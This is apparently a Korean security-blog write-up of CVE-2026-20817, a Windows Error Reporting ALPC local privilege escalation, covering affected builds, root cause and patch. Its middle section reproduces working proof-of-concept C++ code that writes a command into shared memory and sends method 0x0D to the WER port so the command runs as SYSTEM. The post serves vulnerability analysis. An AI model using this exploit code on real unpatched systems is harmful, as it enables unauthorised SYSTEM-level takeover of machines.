[하루한줄] CVE-2026-20817: Windows Error Reporting(WER) Service의 ALPC 처리 오류로 인한 Local Privilege Escalation
URL
https://github.com/oxfemale/CVE-2026-20817
Target
- Windows 11 25H2: < 10.0.26200.7623
- Windows Server 2022: < 10.0.20348.4648
- Windows Server 2022 23H2: < 10.0.25398.2092
- Windows Server 2025: < 10.0.26100.32230
Explain
Microsoft Windows에는 애플리케이션이나 시스템이 Crash 되었을 때 오류 정보를 수집하고 보고하는 서비스인 Windows Error Reporting(WER) 이 존재합니다.
프로그램에서 예외(Exception)나 Crash가 발생하면 WerFault.exe 프로세스가 실행되어 다음 작업을 수행합니다.
- Crash Dump 수집
- 오류 정보 및 로그 생성
- Microsoft 또는 관리 서버로 오류 보고
- 문제 분석을 위한 진단 데이터 생성
이 과정에서 WER 서비스는 SYSTEM 권한으로 실행되는 서비스이며, 사용자 프로세스와 통신하기 위해 ALPC(Local Procedure Call) 기반 IPC를 사용하는데, WER 서비스는 내부적으로 `WindowsErrorReportingService`라는 ALPC 포트를 통해 사용자 프로세스의 오류 보고 요청을 처리합니다.
CVE-2026-20817은 이 WER ALPC 인터페이스의 권한 검증 부족으로 인해 발생하는 취약점으로, 공격자가 Low privilege 권한에서 ALPC 메시지를 조작하면 SYSTEM 권한으로 프로세스를 실행할 수 있습니다.
1. Root Cause
취약점의 핵심 원인은 WER 서비스의 ALPC method인 SvcElevatedLaunch(method 0x0D) 의 권한 검증 부족 때문입니다. WER 서비스는 특정 요청을 처리할 때 Shared Memory에 저장된 데이터를 읽어 WerFault.exe를 실행하는데, 이 과정에서 호출자의 권한을 충분히 검증하지 않고 user-controlled data를 사용하는 문제가 발생합니다.
User Process
↓
Shared Memory 생성
↓
Commandline 문자열 작성
↓
ALPC 메시지 전송 (SvcElevatedLaunch)
↓
WER Service
↓
Shared Memory에서 Commandline 읽기
↓
SYSTEM 권한으로 WerFault.exe 실행
결과적으로 공격자는 SYSTEM 권한으로 프로세스를 실행할 수 있습니다.
2. PoC 설명
공개된 PoC는 다음과 같은 방식으로 SYSTEM 권한 상승을 수행합니다.
HANDLE hSharedMemory = CreateFileMapping(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
SHARED_MEMORY_SIZE,
NULL
);
void* pSharedView = MapViewOfFile(
hSharedMemory,
FILE_MAP_WRITE,
0, 0,
SHARED_MEMORY_SIZE
);
std::wstring command =
L"C:\\Windows\\System32\\cmd.exe /c whoami > C:\\poc_wer.txt & calc.exe";
wcscpy_s((wchar_t*)pSharedView,
SHARED_MEMORY_SIZE / sizeof(wchar_t),
command.c_str());
먼저 공격자는 Shared Memory를 하나 만든 다음, 그 안에 SYSTEM 권한으로 실행되길 원하는 command line을 써 넣습니다.
여기서 중요한 점은, ALPC 메시지에 넣는 것이 아닌, WER가 나중에 읽게 만들 공유 메모리에 넣는 것입니다.
HANDLE ConnectToWerAlpcPort() {
HANDLE hPort = NULL;
UNICODE_STRING portName;
pRtlInitUnicodeString(&portName, L"\\WindowsErrorReportingService");
ALPC_PORT_ATTRIBUTES portAttributes = { 0 };
portAttributes.MaxMessageLength = sizeof(WER_ALPC_MESSAGE) + 0x1000;
SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
sqos.ImpersonationLevel = SecurityImpersonation;
sqos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
sqos.EffectiveOnly = FALSE;
struct {
ULONG MessageId;
ULONG Unknown;
} connectMsg = { 0 };
connectMsg.MessageId = 0x0D;
SIZE_T msgSize = sizeof(connectMsg);
NTSTATUS status = NtAlpcConnectPort(
&hPort,
&portName,
NULL,
&portAttributes,
0,
&sqos,
&connectMsg,
&msgSize,
NULL,
NULL
);
return (status == 0) ? hPort : NULL;
}
이후 공격자는 WER 서비스가 노출하는 ALPC 포트에 연결합니다.
BOOL SendAlpcMessage(HANDLE hPort, HANDLE hSharedMemory, const std::wstring& command) {
WER_ALPC_MESSAGE alpcMsg = { 0 };
alpcMsg.method = 0x0D;
alpcMsg.processId = GetCurrentProcessId();
alpcMsg.sharedMemoryHandle = (DWORD)(ULONG_PTR)hSharedMemory;
alpcMsg.commandLineLength = (DWORD)command.size() * sizeof(wchar_t);
alpcMsg.messageType = 0;
WER_ALPC_MESSAGE replyMsg = { 0 };
SIZE_T replySize = sizeof(replyMsg);
PVOID replyBuffer = NULL;
SIZE_T sendMessageLength = sizeof(alpcMsg);
NTSTATUS status = NtAlpcSendWaitReceivePort(
hPort,
0,
&alpcMsg,
&sendMessageLength,
&replyMsg,
&replySize,
&replyBuffer,
NULL
);
return status == 0;
}
method 부분에 0x0D 값을 넣고 공격자가 직접 만든 공유 메모리 핸들을 WER에게 ALPC 메시지를 통해 요청을 보내게 되면서 WER 서비스가 이 user-controlled command line을 신뢰하여 SYSTEM 권한의 WerFault.exe 실행까지 이어지게 됩니다.
3. Patch
WER 서비스는 이제 ,Client token privilege, Impersonation level, Caller identity 검증을 거쳐 권한이 없는 프로세스의 SvcElevatedLaunch 호출을 차단합니다.
Reference
https://github.com/oxfemale/CVE-2026-20817
PoC Exploit Released for Microsoft Windows Error Reporting ALPC Privilege Escalation
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.